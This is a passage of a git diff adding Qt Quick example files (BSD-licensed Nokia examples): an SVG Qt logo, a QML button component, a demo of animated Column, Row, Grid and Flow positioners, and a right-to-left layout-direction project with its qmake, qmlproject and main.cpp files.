4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/positioners/qml/positioners/Button.qml b/examples/declarative/positioners/qml/positioners/Button.qml
new file mode 100644
index 00000000..52adeb52
--- /dev/null
+++ b/examples/declarative/positioners/qml/positioners/Button.qml
@@ -0,0 +1,78 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: page
+
+ property string text
+ property string icon
+ signal clicked
+
+ border.color: "black"; color: "steelblue"; radius: 5
+ width: pix.width + textelement.width + 13
+ height: pix.height + 10
+
+ Image { id: pix; x: 5; y:5; source: parent.icon }
+
+ Text {
+ id: textelement
+ text: page.text; color: "white"
+ x: pix.width + pix.x + 3
+ anchors.verticalCenter: pix.verticalCenter
+ }
+
+ MouseArea {
+ id: mr
+ anchors.fill: parent
+ onClicked: { parent.focus = true; page.clicked() }
+ }
+
+ states: State {
+ name: "pressed"; when: mr.pressed
+ PropertyChanges { target: textelement; x: 5 }
+ PropertyChanges { target: pix; x: textelement.x + textelement.width + 3 }
+ }
+
+ transitions: Transition {
+ NumberAnimation { properties: "x,left"; easing.type: Easing.InOutQuad; duration: 200 }
+ }
+}
diff --git a/examples/declarative/positioners/qml/positioners/add.png b/examples/declarative/positioners/qml/positioners/add.png
new file mode 100644
index 00000000..1ee45423
--- /dev/null
+++ b/examples/declarative/positioners/qml/positioners/add.png
Binary files differ
diff --git a/examples/declarative/positioners/qml/positioners/del.png b/examples/declarative/positioners/qml/positioners/del.png
new file mode 100644
index 00000000..8d2eaed5
--- /dev/null
+++ b/examples/declarative/positioners/qml/positioners/del.png
Binary files differ
diff --git a/examples/declarative/positioners/qml/positioners/positioners.qml b/examples/declarative/positioners/qml/positioners/positioners.qml
new file mode 100644
index 00000000..6b5b1e9b
--- /dev/null
+++ b/examples/declarative/positioners/qml/positioners/positioners.qml
@@ -0,0 +1,253 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: page
+ width: 420; height: 420
+
+ Column {
+ id: layout1
+ y: 0
+ move: Transition {
+ NumberAnimation { properties: "y"; easing.type: Easing.OutBounce }
+ }
+ add: Transition {
+ NumberAnimation { properties: "y"; easing.type: Easing.OutQuad }
+ }
+
+ Rectangle { color: "red"; width: 100; height: 50; border.color: "black"; radius: 15 }
+
+ Rectangle {
+ id: blueV1
+ width: 100; height: 50
+ color: "lightsteelblue"
+ border.color: "black"
+ radius: 15
+ Behavior on opacity { NumberAnimation {} }
+ }
+
+ Rectangle { color: "green"; width: 100; height: 50; border.color: "black"; radius: 15 }
+
+ Rectangle {
+ id: blueV2
+ width: 100; height: 50
+ color: "lightsteelblue"
+ border.color: "black"
+ radius: 15
+ Behavior on opacity { NumberAnimation {} }
+ }
+
+ Rectangle { color: "orange"; width: 100; height: 50; border.color: "black"; radius: 15 }
+ }
+
+ Row {
+ id: layout2
+ y: 300
+ move: Transition {
+ NumberAnimation { properties: "x"; easing.type: Easing.OutBounce }
+ }
+ add: Transition {
+ NumberAnimation { properties: "x"; easing.type: Easing.OutQuad }
+ }
+
+ Rectangle { color: "red"; width: 50; height: 100; border.color: "black"; radius: 15 }
+
+ Rectangle {
+ id: blueH1
+ width: 50; height: 100
+ color: "lightsteelblue"
+ border.color: "black"
+ radius: 15
+ Behavior on opacity { NumberAnimation {} }
+ }
+
+ Rectangle { color: "green"; width: 50; height: 100; border.color: "black"; radius: 15 }
+
+ Rectangle {
+ id: blueH2
+ width: 50; height: 100
+ color: "lightsteelblue"
+ border.color: "black"
+ radius: 15
+ Behavior on opacity { NumberAnimation {} }
+ }
+
+ Rectangle { color: "orange"; width: 50; height: 100; border.color: "black"; radius: 15 }
+ }
+
+ Button {
+ x: 135; y: 90
+ text: "Remove"
+ icon: "del.png"
+
+ onClicked: {
+ blueH2.opacity = 0
+ blueH1.opacity = 0
+ blueV1.opacity = 0
+ blueV2.opacity = 0
+ blueG1.opacity = 0
+ blueG2.opacity = 0
+ blueG3.opacity = 0
+ blueF1.opacity = 0
+ blueF2.opacity = 0
+ blueF3.opacity = 0
+ }
+ }
+
+ Button {
+ x: 145; y: 140
+ text: "Add"
+ icon: "add.png"
+
+ onClicked: {
+ blueH2.opacity = 1
+ blueH1.opacity = 1
+ blueV1.opacity = 1
+ blueV2.opacity = 1
+ blueG1.opacity = 1
+ blueG2.opacity = 1
+ blueG3.opacity = 1
+ blueF1.opacity = 1
+ blueF2.opacity = 1
+ blueF3.opacity = 1
+ }
+ }
+
+ Grid {
+ x: 260; y: 0
+ columns: 3
+
+ move: Transition {
+ NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce }
+ }
+
+ add: Transition {
+ NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce }
+ }
+
+ Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 }
+
+ Rectangle {
+ id: blueG1
+ width: 50; height: 50
+ color: "lightsteelblue"
+ border.color: "black"
+ radius: 15
+ Behavior on opacity { NumberAnimation {} }
+ }
+
+ Rectangle { color: "green"; width: 50; height: 50; border.color: "black"; radius: 15 }
+
+ Rectangle {
+ id: blueG2
+ width: 50; height: 50
+ color: "lightsteelblue"
+ border.color: "black"
+ radius: 15
+ Behavior on opacity { NumberAnimation {} }
+ }
+
+ Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 }
+
+ Rectangle {
+ id: blueG3
+ width: 50; height: 50
+ color: "lightsteelblue"
+ border.color: "black"
+ radius: 15
+ Behavior on opacity { NumberAnimation {} }
+ }
+
+ Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 }
+ Rectangle { color: "green"; width: 50; height: 50; border.color: "black"; radius: 15 }
+ Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 }
+ }
+
+ Flow {
+ id: layout4
+ x: 260; y: 250; width: 150
+
+ move: Transition {
+ NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce }
+ }
+
+ add: Transition {
+ NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce }
+ }
+
+ Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 }
+
+ Rectangle {
+ id: blueF1
+ width: 60; height: 50
+ color: "lightsteelblue"
+ border.color: "black"
+ radius: 15
+ Behavior on opacity { NumberAnimation {} }
+ }
+
+ Rectangle { color: "green"; width: 30; height: 50; border.color: "black"; radius: 15 }
+
+ Rectangle {
+ id: blueF2
+ width: 60; height: 50
+ color: "lightsteelblue"
+ border.color: "black"
+ radius: 15
+ Behavior on opacity { NumberAnimation {} }
+ }
+
+ Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 }
+
+ Rectangle {
+ id: blueF3
+ width: 40; height: 50
+ color: "lightsteelblue"
+ border.color: "black"
+ radius: 15
+ Behavior on opacity { NumberAnimation {} }
+ }
+
+ Rectangle { color: "red"; width: 80; height: 50; border.color: "black"; radius: 15 }
+ }
+
+}
diff --git a/examples/declarative/righttoleft/layoutdirection/layoutdirection.pro b/examples/declarative/righttoleft/layoutdirection/layoutdirection.pro
new file mode 100644
index 00000000..6dad0eee
--- /dev/null
+++ b/examples/declarative/righttoleft/layoutdirection/layoutdirection.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/layoutdirection
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE12C9D9E
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/righttoleft/layoutdirection
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/righttoleft/layoutdirection/layoutdirection.qmlproject b/examples/declarative/righttoleft/layoutdirection/layoutdirection.qmlproject
new file mode 100644
index 00000000..59456b0c
--- /dev/null
+++ b/examples/declarative/righttoleft/layoutdirection/layoutdirection.qmlproject
@@ -0,0 +1,18 @@
+/* File generated by QtCreator */
+
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/layoutdirection"
+ }
+ JavaScriptFiles {
+ directory: "qml/layoutdirection"
+ }
+ ImageFiles {
+ directory: "qml/layoutdirection"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/righttoleft/layoutdirection/layoutdirection.svg b/examples/declarative/righttoleft/layoutdirection/layoutdirection.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/righttoleft/layoutdirection/layoutdirection.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/righttoleft/layoutdirection/layoutdirection64.png b/examples/declarative/righttoleft/layoutdirection/layoutdirection64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/righttoleft/layoutdirection/layoutdirection64.png
Binary files differ
diff --git a/examples/declarative/righttoleft/layoutdirection/layoutdirection80.png b/examples/declarative/righttoleft/layoutdirection/layoutdirection80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/examples/declarative/righttoleft/layoutdirection/layoutdirection80.png
Binary files differ
diff --git a/examples/declarative/righttoleft/layoutdirection/main.cpp b/examples/declarative/righttoleft/layoutdirection/main.cpp
new file mode 100644
index 00000000..215a8d4d
--- /dev/null
+++ b/examples/declarative/righttoleft/layoutdirection/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/layoutdirection/layoutdirection.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/righttoleft/layoutdirection/qml/layoutdirection/layoutdirection.qml b/examples/declarative/righttoleft/layoutdirection/qml/layoutdirection/layoutdirection.qml
new file mode 100644
index 00000000..9dfda3e3
--- /dev/null
+++ b/examples/declarative/righttoleft/layoutdirection/qml/layoutdirection/layoutdirection.qml
@@ -0,0 +1,256 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
